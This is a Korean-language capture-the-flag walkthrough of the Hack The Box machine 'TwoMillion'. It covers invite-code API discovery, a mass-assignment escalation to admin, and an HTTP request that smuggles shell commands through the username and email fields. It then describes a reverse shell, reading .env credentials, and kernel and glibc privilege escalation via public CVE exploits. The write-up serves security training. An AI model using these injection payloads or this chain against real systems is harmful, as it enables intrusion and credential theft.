Box Info
| Name | Difficulty |
|---|---|
| TwoMillion | Easy |
nmap
/workspace # nmap -sC -sS -sU -sV -T4 "$TARGET_IP"
Starting Nmap 7.93 ( https://nmap.org ) at 2025-09-27 17:43 KST
Warning: 10.10.11.221 giving up on port because retransmission cap hit (6).
Nmap scan report for twomillion.htb (10.10.11.221)
Host is up (0.21s latency).
Not shown: 998 closed udp ports (port-unreach), 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_ 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
68/udp open|filtered dhcpc
21358/udp open|filtered unknown80번 포트로 접속해보면 2million.htb 도메인으로 이동해서 /etc/hosts 파일 추가 후 접속했습니다.
Invite Code Crack

사이트 접속 후 /invite 경로에 접근해보면 위와 같이 Invite Code를 입력받는 칸이 있습니다.
혹시나 관련 JS 코드를 확인할 수 있을까 싶어서 개발자 도구 Network 탭에서 확인해보니 inviteapi.min.js 파일을 확인 가능했습니다.

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))https://deobfuscate.io/ 이 사이트를 이용해 난독화를 해제했습니다.
eval(function (p, a, c, k, e, d) {
e = function (c) {
return c.toString(36);
};
if (!"".replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a);
}
k = [function (e) {
return d[e];
}];
e = function () {
return "\\w+";
};
c = 1;
}
;
while (c--) {
if (k[c]) {
p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);
}
}
return p;
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, "response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify".split("|"), 0, {}));근데 코드를 봐도 이해가 안가서 function (p, a, c, k, e, d) 을 키워드로 검색해보니 패킹된 자바스크립트 코드인걸 알고, 언패킹 사이트를 이용하여 언패킹을 진행했습니다.
function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}/api/v1/invite/how/to/generate 경로에 POST 요청을 보내보면 아래와 같이 응답이 옵니다.
HTTP / 1.1 200 OK
Server: nginx
Date: Sat, 04 Oct 2025 14: 02: 06 GMT
Content - Type: application / json
Connection: keep - alive
Expires: Thu, 19 Nov 1981 08: 52: 00 GMT
Cache - Control: no - store, no - cache, must - revalidate
Pragma: no - cache
Content - Length: 249
{
"0": 200,
"success": 1,
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr",
"enctype": "ROT13"
},
"hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}https://rot13.com/ 이 사이트에서 복호화를 진행했습니다.
In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate
/api/v1/invite/generate 에 POST 요청을 보내보면 아래와 같이 응답이 옵니다.

code 부분을 드래그 해보면 burpsuite에서 자체 디코딩을 해줬습니다.

YYFOS-9L2GO-G2DEY-V4KW4
해당 코드를 이용하면 아래와 같이 가입이 가능합니다.


Command Injection
로그인 후 Access 탭에서 Regenerate 버튼을 누르면 http://2million.htb/api/v1/user/vpn/regenerate 링크로 통신하는 걸 알 수 있습니다.
그래서 이것저것 시도해보다 /api/v1 으로 GET 요청을 보내보니 아래와 같이 사용 가능한 API 리스트를 응답 받았습니다.

/api/v1/user/auth 에 접근을 해보면 아래와 같이 응답을 받습니다.

{
"loggedin":true,
"username":"d0razi",
"is_admin":0
}위 정보를 이용하여 /api/v1/admin/settings/update 엔드포인트에 요청을 날려봤습니다.

요청을 보내보면 Missing parameter: email 이라는 문구가 돌아오길래, is_admin을 1로 바꾸고 email을 추가해서 요청을 보내봤습니다.

is_admin이 1로 돌아오길래 /api/v1/admin/vpn/generate 엔드포인트에 그대로 요청을 보내봤더니 정상적으로 응답이 돌아오는 것을 확인했습니다.

이 부분은 도저히 공격 벡터를 못 찾겠어서 풀이를 봤습니다.
아래와 같이 요청을 보내면 Command Injection이 가능합니다.
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://2million.htb/home
Connection: keep-alive
Cookie: PHPSESSID=svu17qdh2co8h4fpqv0pe2at0c
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 92
Content-Type: application/json
{
"loggedin":true,
"username":"d0razi; id #",
"is_admin":1,
"email":"[email protected];ls"
}
그래서 리버스쉘로 서버 쉘을 획득했습니다.


가장 먼저 .env 파일을 읽어보니 아래와 같이 admin 계정의 Credential을 얻을 수 있었습니다.
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123| user | password |
|---|---|
| admin | SuperDuperPass123 |
해당 정보로 ssh 로그인을 해보니 성공했습니다.

LPE
CVE-2023-0386

접속할때 사진인데 잘 보면 You have mail이라는 문구가 보인다.

admin@2million:/var/mail$ cat admin
From: ch4p <[email protected]>
To: admin <[email protected]>
Cc: g0blin <[email protected]>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <[email protected]>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB GodfatherOverlayFS/FUSE CVE 때문에 OS 업그레이드 요청 메일이였네요.

https://github.com/puckiestyle/CVE-2023-0386 해당 POC 코드를 이용하여 익스플로잇을 진행했습니다.

CVE-2023-4911
문제를 다 푼후 다른 권한 상승 방법이 있기에 추가 작성

ldd --version 명령어로 GLIBC 버전을 알아낼 수 있습니다.
해당 버전 CVE를 찾아보니 바로 위에 POC 레포지토리가 나옵니다.


해당 레포에 적힌대로 Exploit을 진행하여 권한 상승을 진행했습니다.

Summary
user.txt: 웹 접근 후 invite code 생성 후 로그인. 이후 API Enumeration으로 Command Injection 진행. 이후 .env 파일에서 Credential 얻어서 admin 계정 로그인
root.txt: mail 확인 후 CVE-2023-0386으로 권한 상승 진행하거나, GLIBC 버전 확인 후 CVE-2023-4911로 권한 상승 진행.